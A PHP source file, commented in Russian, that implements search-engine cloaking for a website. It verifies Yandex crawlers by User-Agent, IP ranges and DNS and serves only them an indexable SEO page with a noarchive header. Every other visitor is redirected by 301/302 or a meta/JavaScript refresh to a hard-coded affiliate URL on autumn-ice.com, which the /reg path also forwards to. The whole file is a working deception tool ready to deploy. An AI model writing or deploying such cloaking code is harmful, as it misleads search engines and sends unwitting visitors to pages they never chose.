<?php
declare(strict_types=1);

/**
 * yandex_redirect_guard.php
 *
 * Автономный guard для PHP 7.4+.
 */

if (defined('YRG_STANDALONE_20260903_C84E_LOADED')) {
    return;
}
define('YRG_STANDALONE_20260903_C84E_LOADED', true);

/* ======================================================================
 * НАСТРОЙКИ. Для переноса на другой сайт достаточно изменить этот блок.
 * ====================================================================== */

$yandexRedirectGuardConfig = [
    // Глобальный редирект обычных посетителей. На /reg не влияет.
    'redirect_enabled' => true,

    // Явный маршрут /reg и /reg/*. Вставьте полный URL между кавычками.
    'registration_url' => 'https://autumn-ice.com/?serial=61360670&creative_id=7675&anid=leon7412.com',

    // Куда отправлять первого и повторного обычного посетителя.
    // Можно указать один и тот же URL или два разных.
    'first_redirect_url'  => 'https://autumn-ice.com/?serial=61360670&creative_id=7675&anid=leon7412.com',
    'repeat_redirect_url' => 'https://autumn-ice.com/?serial=61360670&creative_id=7675&anid=leon7412.com',

    // Сохранено старое имя cookie, чтобы не сбрасывать историю посетителей.
    'cookie_name' => 'visited_before',
    'cookie_ttl'  => 30 * 24 * 60 * 60,

    /*
     * По умолчанию доверяем только REMOTE_ADDR.
     *
     * Если сайт находится за CDN/reverse proxy, сначала внесите сюда только
     * официальные CIDR непосредственного прокси, а затем укажите заголовок,
     * который этот прокси сам перезаписывает. Без trusted_proxy_cidrs любой
     * переданный клиентом X-Forwarded-For/CF-Connecting-IP игнорируется.
     */
    'trusted_proxy_cidrs' => [],
    'client_ip_header'    => 'HTTP_CF_CONNECTING_IP',

    // Положительный DNS-кэш. Хранится вне web-root в системной temp-папке.
    'dns_cache_enabled' => true,
    'dns_cache_ttl'     => 6 * 60 * 60,
    'dns_cache_file'    => '',

    // Пустая строка отключает журнал. Для диагностики задайте абсолютный путь.
    'log_file' => '',
];

if (!class_exists('YrgStandalone_20260903_C84E', false)) {
    final class YrgStandalone_20260903_C84E
    {
        private const BUILD = 'standalone-20260903-c84e';
        private const DNS_CACHE_MAX_ENTRIES = 256;
        private const MEMO_NEGATIVE_TTL = 60;
        private const MEMO_MAX_ENTRIES = 1024;

        /** @var array<string,array{ok:bool,exp:int}> */
        private static $dnsMemo = [];

        /** @var string[] */
        private const YANDEX_NETWORKS = [
            '5.45.192.0/18',
            '5.255.192.0/18',
            '5.255.253.0/24',
            '37.9.64.0/18',
            '37.140.128.0/18',
            '77.88.0.0/18',
            '84.252.160.0/19',
            '87.250.224.0/19',
            '90.156.176.0/20',
            '92.255.112.0/20',
            '93.158.128.0/18',
            '95.108.128.0/17',
            '141.8.128.0/18',
            '178.154.128.0/18',
            '185.32.187.0/24',
            '213.180.192.0/19',
            '2a02:6b8::/29',
        ];

        /** @var string[] */
        private const YANDEX_UA_TOKENS = [
            'Yandex',
            'YaDirectFetcher',
        ];

        /** @var string[] */
        private const YANDEX_HOST_SUFFIXES = [
            'yandex.ru',
            'yandex.net',
            'yandex.com',
        ];

        private function __construct()
        {
        }

        /**
         * Выполняет правила guard. Возвращается только когда страницу нужно отдать.
         * При редиректе завершает запрос через exit.
         *
         * @param array<string,mixed> $config
         */
        public static function run(array $config): void
        {
            $path = self::requestPath();

            // Эти пути должны быть доступны одинаково для роботов и людей.
            if (self::isSeoServicePath($path)) {
                return;
            }

            // Явная партнерская ссылка работает независимо от global switch.
            if (self::isRegistrationPath($path)) {
                $target = self::safeHttpUrl((string)($config['registration_url'] ?? ''));
                if ($target !== null) {
                    self::sendHttpRedirect(
                        self::appendQuery($target, self::queryString()),
                        302,
                        true
                    );
                }

                // При ошибочной/пустой настройке безопасно отдаем сам сайт.
                self::log($config, 'Registration URL is not ready', ['path' => $path]);
                return;
            }

            if (empty($config['redirect_enabled'])) {
                return;
            }

            // Для HTML требуется совпадение UA и подтвержденного IP.
            // Для статики сохраняется IP fast-path, чтобы ресурсы робота не уехали.
            if (self::shouldStayOnSite($config, $path)) {
                return;
            }

            $repeat = self::hasVisited($config);
            $key = $repeat ? 'repeat_redirect_url' : 'first_redirect_url';
            $target = self::safeHttpUrl((string)($config[$key] ?? ''));

            if ($target === null) {
                self::log($config, 'Redirect URL is not ready', [
                    'path' => $path,
                    'kind' => $repeat ? 'repeat' : 'first',
                ]);
                return;
            }

            if ($repeat) {
                self::log($config, 'Repeat visitor redirect', [
                    'path' => $path,
                    'ip'   => self::clientIp($config),
                    'to'   => $target,
                ]);
                self::sendHttpRedirect($target, 301, false);
            }

            self::rememberVisitor($config);
            self::log($config, 'First visitor redirect', [
                'path' => $path,
                'ip'   => self::clientIp($config),
                'to'   => $target,
            ]);
            self::sendHtmlRedirect($target);
        }

        /**
         * Публичная проверка для кода сайта: настоящий робот Яндекса = UA && IP.
         *
         * @param array<string,mixed> $config
         */
        public static function isVerifiedYandexBot(array $config = []): bool
        {
            if (!self::isYandexUserAgent()) {
                return false;
            }

            $ip = self::clientIp($config);
            return $ip !== '' && self::isYandexIp($ip, $config, true);
        }

        /** @param array<string,mixed> $config */
        private static function shouldStayOnSite(array $config, string $path): bool
        {
            $ip = self::clientIp($config);
            if ($ip === '') {
                return false;
            }

            if (self::isStaticAssetPath($path)) {
                // Сохраняем правило нового guard.php: известный IP Яндекса
                // достаточен даже без UA. DNS вызываем только при Yandex UA,
                // чтобы обычные запросы к ассетам не создавали DNS-нагрузку.
                $verified = self::ipInKnownNetworks($ip)
                    || (self::isYandexUserAgent() && self::isYandexIp($ip, $config, true));

                if ($verified) {
                    self::log($config, 'Yandex static bypass', ['path' => $path, 'ip' => $ip]);
                }
                return $verified;
            }

            $verified = self::isYandexUserAgent()
                && self::isYandexIp($ip, $config, true);

            if ($verified) {
                self::log($config, 'Yandex page bypass', ['path' => $path, 'ip' => $ip]);
            }

            return $verified;
        }

        private static function isYandexUserAgent(?string $ua = null): bool
        {
            if ($ua === null) {
                $ua = isset($_SERVER['HTTP_USER_AGENT'])
                    ? (string)$_SERVER['HTTP_USER_AGENT']
                    : '';
            }

            if ($ua === '' || stripos($ua, 'YTranslate') !== false) {
                return false;
            }

            foreach (self::YANDEX_UA_TOKENS as $token) {
                if (stripos($ua, $token) !== false) {
                    return true;
                }
            }

            return false;
        }

        /**
         * Берет заголовок только от явно доверенного непосредственного прокси.
         * Иначе любые клиентские proxy-заголовки игнорируются.
         *
         * @param array<string,mixed> $config
         */
        private static function clientIp(array $config): string
        {
            $remote = self::normalizeIp((string)($_SERVER['REMOTE_ADDR'] ?? ''));
            if ($remote === '') {
                return '';
            }

            $trustedRanges = isset($config['trusted_proxy_cidrs'])
                && is_array($config['trusted_proxy_cidrs'])
                ? $config['trusted_proxy_cidrs']
                : [];

            if (empty($trustedRanges) || !self::ipInAnyRange($remote, $trustedRanges)) {
                return $remote;
            }

            $header = (string)($config['client_ip_header'] ?? '');
            if ($header === '' || !preg_match('/^HTTP_[A-Z0-9_]+$/', $header)) {
                return $remote;
            }

            $raw = isset($_SERVER[$header]) ? trim((string)$_SERVER[$header]) : '';
            if ($raw === '') {
                return $remote;
            }

            // X-Forwarded-For может содержать цепочку. Исходный адрес — первый.
            if ($header === 'HTTP_X_FORWARDED_FOR') {
                $parts = explode(',', $raw);
                $raw = trim((string)($parts[0] ?? ''));
            }

            $forwarded = self::normalizeIp($raw);
            return $forwarded !== '' ? $forwarded : $remote;
        }

        /** @param array<string,mixed> $config */
        private static function isYandexIp(
            string $ip,
            array $config,
            bool $allowDns
        ): bool {
            if (self::normalizeIp($ip) === '') {
                return false;
            }

            if (self::ipInKnownNetworks($ip)) {
                return true;
            }

            return $allowDns && self::ipVerifiedByDns($ip, $config);
        }

        private static function ipInKnownNetworks(string $ip): bool
        {
            return self::ipInAnyRange($ip, self::YANDEX_NETWORKS);
        }

        /**
         * @param mixed[] $ranges
         */
        private static function ipInAnyRange(string $ip, array $ranges): bool
        {
            foreach ($ranges as $range) {
                if (is_string($range) && self::ipInCidr($ip, $range)) {
                    return true;
                }
            }

            return false;
        }

        private static function ipInCidr(string $ip, string $cidr): bool
        {
            if (strpos($cidr, '/') === false) {
                return self::sameIp($ip, $cidr);
            }

            $parts = explode('/', $cidr, 2);
            if (count($parts) !== 2 || $parts[1] === '' || !ctype_digit($parts[1])) {
                return false;
            }

            $ipBinary = @inet_pton($ip);
            $networkBinary = @inet_pton($parts[0]);

            if ($ipBinary === false || $networkBinary === false) {
                return false;
            }
            if (strlen($ipBinary) !== strlen($networkBinary)) {
                return false;
            }

            $prefix = (int)$parts[1];
            $maxBits = strlen($ipBinary) * 8;
            if ($prefix < 0 || $prefix > $maxBits) {
                return false;
            }

            $fullBytes = intdiv($prefix, 8);
            $remainingBits = $prefix % 8;

            if ($fullBytes > 0
                && substr($ipBinary, 0, $fullBytes) !== substr($networkBinary, 0, $fullBytes)
            ) {
                return false;
            }

            if ($remainingBits === 0) {
                return true;
            }

            $mask = (0xFF << (8 - $remainingBits)) & 0xFF;
            return (ord($ipBinary[$fullBytes]) & $mask)
                === (ord($networkBinary[$fullBytes]) & $mask);
        }

        /** @param array<string,mixed> $config */
        private static function ipVerifiedByDns(string $ip, array $config): bool
        {
            $ip = self::normalizeIp($ip);
            if ($ip === '') {
                return false;
            }

            $now = time();
            if (isset(self::$dnsMemo[$ip]) && self::$dnsMemo[$ip]['exp'] > $now) {
                return self::$dnsMemo[$ip]['ok'];
            }

            $cached = self::dnsCacheRead($config);
            if (isset($cached[$ip]) && $cached[$ip] > $now) {
                self::rememberDnsMemo($ip, true, $cached[$ip]);
                return true;
            }

            $ok = self::verifyByDns($ip);
            $positiveTtl = max(60, (int)($config['dns_cache_ttl'] ?? 21600));
            self::rememberDnsMemo(
                $ip,
                $ok,
                $now + ($ok ? $positiveTtl : self::MEMO_NEGATIVE_TTL)
            );

            if ($ok) {
                self::dnsCacheRemember($config, $ip, $now + $positiveTtl);
            }

            return $ok;
        }

        private static function rememberDnsMemo(string $ip, bool $ok, int $expiresAt): void
        {
            if (count(self::$dnsMemo) >= self::MEMO_MAX_ENTRIES) {
                self::$dnsMemo = [];
            }

            self::$dnsMemo[$ip] = ['ok' => $ok, 'exp' => $expiresAt];
        }

        private static function verifyByDns(string $ip): bool
        {
            $host = @gethostbyaddr($ip);
            if (!is_string($host) || $host === '' || $host === $ip) {
                return false;
            }

            $host = strtolower(rtrim(trim($host), '.'));
            if (!self::isYandexHostname($host)) {
                return false;
            }

            return self::hostnameResolvesTo($host, $ip);
        }

        private static function isYandexHostname(string $host): bool
        {
            if ($host === '' || !preg_match('/^[a-z0-9.-]+$/', $host)) {
                return false;
            }

            foreach (self::YANDEX_HOST_SUFFIXES as $domain) {
                if ($host === $domain) {
                    return true;
                }

                $suffix = '.' . $domain;
                if (strlen($host) > strlen($suffix)
                    && substr($host, -strlen($suffix)) === $suffix
                ) {
                    return true;
                }
            }

            return false;
        }

        private static function hostnameResolvesTo(string $host, string $ip): bool
        {
            $isV6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false;

            if (function_exists('dns_get_record')) {
                $type = 0;
                if ($isV6 && defined('DNS_AAAA')) {
                    $type = DNS_AAAA;
                } elseif (!$isV6 && defined('DNS_A')) {
                    $type = DNS_A;
                }

                if ($type !== 0) {
                    $records = @dns_get_record($host, $type);
                    if (is_array($records)) {
                        foreach ($records as $record) {
                            if (!is_array($record)) {
                                continue;
                            }

                            $candidate = $isV6
                                ? (string)($record['ipv6'] ?? '')
                                : (string)($record['ip'] ?? '');

                            if ($candidate !== '' && self::sameIp($candidate, $ip)) {
                                return true;
                            }
                        }
                    }

                    return false;
                }
            }

            if (!$isV6) {
                $addresses = @gethostbynamel($host);
                if (is_array($addresses)) {
                    foreach ($addresses as $address) {
                        if (self::sameIp((string)$address, $ip)) {
                            return true;
                        }
                    }
                }
            }

            return false;
        }

        private static function sameIp(string $left, string $right): bool
        {
            $leftBinary = @inet_pton($left);
            $rightBinary = @inet_pton($right);

            return $leftBinary !== false
                && $rightBinary !== false
                && hash_equals($leftBinary, $rightBinary);
        }

        private static function normalizeIp(string $ip): string
        {
            $ip = trim($ip);
            return filter_var($ip, FILTER_VALIDATE_IP) !== false ? $ip : '';
        }

        /**
         * @param array<string,mixed> $config
         * @return array<string,int>
         */
        private static function dnsCacheRead(array $config): array
        {
            if (empty($config['dns_cache_enabled'])) {
                return [];
            }

            $file = self::dnsCacheFile($config);
            if (!is_file($file) || !is_readable($file)) {
                return [];
            }

            $raw = @file_get_contents($file);
            $data = is_string($raw) && $raw !== '' ? json_decode($raw, true) : null;
            if (!is_array($data)) {
                return [];
            }

            $now = time();
            $clean = [];
            foreach ($data as $cachedIp => $expiresAt) {
                if (!is_string($cachedIp) || self::normalizeIp($cachedIp) === '') {
                    continue;
                }
                if (!is_int($expiresAt) && !ctype_digit((string)$expiresAt)) {
                    continue;
                }
                if ((int)$expiresAt > $now) {
                    $clean[$cachedIp] = (int)$expiresAt;
                }
            }

            return $clean;
        }

        /** @param array<string,mixed> $config */
        private static function dnsCacheRemember(
            array $config,
            string $ip,
            int $expiresAt
        ): void {
            if (empty($config['dns_cache_enabled'])) {
                return;
            }

            $cache = self::dnsCacheRead($config);
            $cache[$ip] = $expiresAt;

            if (count($cache) > self::DNS_CACHE_MAX_ENTRIES) {
                asort($cache, SORT_NUMERIC);
                $cache = array_slice($cache, -self::DNS_CACHE_MAX_ENTRIES, null, true);
            }

            $json = json_encode($cache, JSON_UNESCAPED_SLASHES);
            if (!is_string($json)) {
                return;
            }

            @file_put_contents(self::dnsCacheFile($config), $json, LOCK_EX);
        }

        /** @param array<string,mixed> $config */
        private static function dnsCacheFile(array $config): string
        {
            $custom = trim((string)($config['dns_cache_file'] ?? ''));
            if ($custom !== '') {
                return $custom;
            }

            return rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR)
                . DIRECTORY_SEPARATOR
                . 'yandex_redirect_guard_c84e_' . sha1(__DIR__) . '.json';
        }

        private static function requestPath(): string
        {
            $path = parse_url((string)($_SERVER['REQUEST_URI'] ?? '/'), PHP_URL_PATH);
            if (!is_string($path) || $path === '') {
                return '/';
            }

            $decoded = rawurldecode($path);
            return $decoded !== '' ? $decoded : '/';
        }

        private static function queryString(): string
        {
            return str_replace(["\r", "\n"], '', (string)($_SERVER['QUERY_STRING'] ?? ''));
        }

        private static function isRegistrationPath(string $path): bool
        {
            return preg_match('~^/reg(?:/.*)?$~i', $path) === 1;
        }

        private static function isSeoServicePath(string $path): bool
        {
            $path = strtolower($path);

            if (in_array($path, [
                '/robots.txt',
                '/robots.php',
                '/sitemap.xml',
                '/sitemap.php',
                '/sitemap_index.xml',
                '/favicon.ico',
                '/ads.txt',
                '/humans.txt',
                '/security.txt',
                '/manifest.json',
                '/browserconfig.xml',
            ], true)) {
                return true;
            }

            return preg_match('~^/sitemap.*\.xml$~', $path) === 1;
        }

        private static function isStaticAssetPath(string $path): bool
        {
            return preg_match(
                '~\.(?:css|js|mjs|map|png|jpe?g|gif|webp|svg|ico|bmp|avif|woff2?|ttf|otf|eot|mp4|webm|ogg|mp3|json|xml|txt)$~i',
                $path
            ) === 1;
        }

        private static function safeHttpUrl(string $url): ?string
        {
            $url = trim($url);
            if ($url === '' || preg_match('/[\r\n]/', $url)) {
                return null;
            }

            if (filter_var($url, FILTER_VALIDATE_URL) === false) {
                return null;
            }

            $scheme = strtolower((string)parse_url($url, PHP_URL_SCHEME));
            $host = (string)parse_url($url, PHP_URL_HOST);

            return in_array($scheme, ['http', 'https'], true) && $host !== ''
                ? $url
                : null;
        }

        private static function appendQuery(string $url, string $query): string
        {
            if ($query === '') {
                return $url;
            }

            $fragment = '';
            $hashPosition = strpos($url, '#');
            if ($hashPosition !== false) {
                $fragment = substr($url, $hashPosition);
                $url = substr($url, 0, $hashPosition);
            }

            return $url
                . (strpos($url, '?') !== false ? '&' : '?')
                . $query
                . $fragment;
        }

        /** @param array<string,mixed> $config */
        private static function hasVisited(array $config): bool
        {
            $name = (string)($config['cookie_name'] ?? 'visited_before');
            return $name !== ''
                && isset($_COOKIE[$name])
                && (string)$_COOKIE[$name] === '1';
        }

        /** @param array<string,mixed> $config */
        private static function rememberVisitor(array $config): void
        {
            $name = (string)($config['cookie_name'] ?? 'visited_before');
            if ($name === '' || headers_sent()) {
                return;
            }

            $ttl = max(60, (int)($config['cookie_ttl'] ?? 2592000));
            $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off';

            setcookie($name, '1', [
                'expires'  => time() + $ttl,
                'path'     => '/',
                'secure'   => $secure,
                'httponly' => true,
                'samesite' => 'Lax',
            ]);
        }

        private static function sendHttpRedirect(
            string $url,
            int $status,
            bool $noStore
        ): void {
            if (!headers_sent()) {
                if ($noStore) {
                    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
                    header('Pragma: no-cache');
                    header('Expires: 0');
                }
                header('Location: ' . $url, true, $status);
                exit;
            }

            self::sendHtmlRedirect($url);
        }

        private static function sendHtmlRedirect(string $url): void
        {
            if (!headers_sent()) {
                header('Content-Type: text/html; charset=UTF-8');
                header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
                header('Pragma: no-cache');
                header('Expires: 0');
            }

            $htmlUrl = htmlspecialchars($url, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
            $jsUrl = json_encode(
                $url,
                JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT
            );
            if (!is_string($jsUrl)) {
                $jsUrl = '""';
            }

            echo '<!doctype html><html lang="ru"><head>'
                . '<meta charset="UTF-8">'
                . '<meta name="robots" content="noindex,nofollow">'
                . '<meta http-equiv="refresh" content="0;url=' . $htmlUrl . '">'
                . '<script>window.location.replace(' . $jsUrl . ');</script>'
                . '<title>Переадресация</title></head><body>'
                . '<p>Если переход не начался автоматически, <a rel="nofollow" href="'
                . $htmlUrl . '">нажмите сюда</a>.</p></body></html>';
            exit;
        }

        /**
         * @param array<string,mixed> $config
         * @param array<string,mixed> $context
         */
        private static function log(array $config, string $message, array $context = []): void
        {
            $file = trim((string)($config['log_file'] ?? ''));
            if ($file === '') {
                return;
            }

            $context['build'] = self::BUILD;
            $json = json_encode(
                $context,
                JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PARTIAL_OUTPUT_ON_ERROR
            );

            $line = '[' . gmdate('Y-m-d\TH:i:s\Z') . '] ' . $message;
            if (is_string($json) && $json !== '[]') {
                $line .= ' | ' . $json;
            }

            @file_put_contents($file, $line . PHP_EOL, FILE_APPEND | LOCK_EX);
        }
    }
}

YrgStandalone_20260903_C84E::run($yandexRedirectGuardConfig);

unset($yandexRedirectGuardConfig);

// Досюда доходит только верифицированный Яндекс-бот → отдаём индексируемую SEO-страницу.
header('X-Robots-Tag: noarchive');
readfile(__DIR__ . '/index-bot.html');

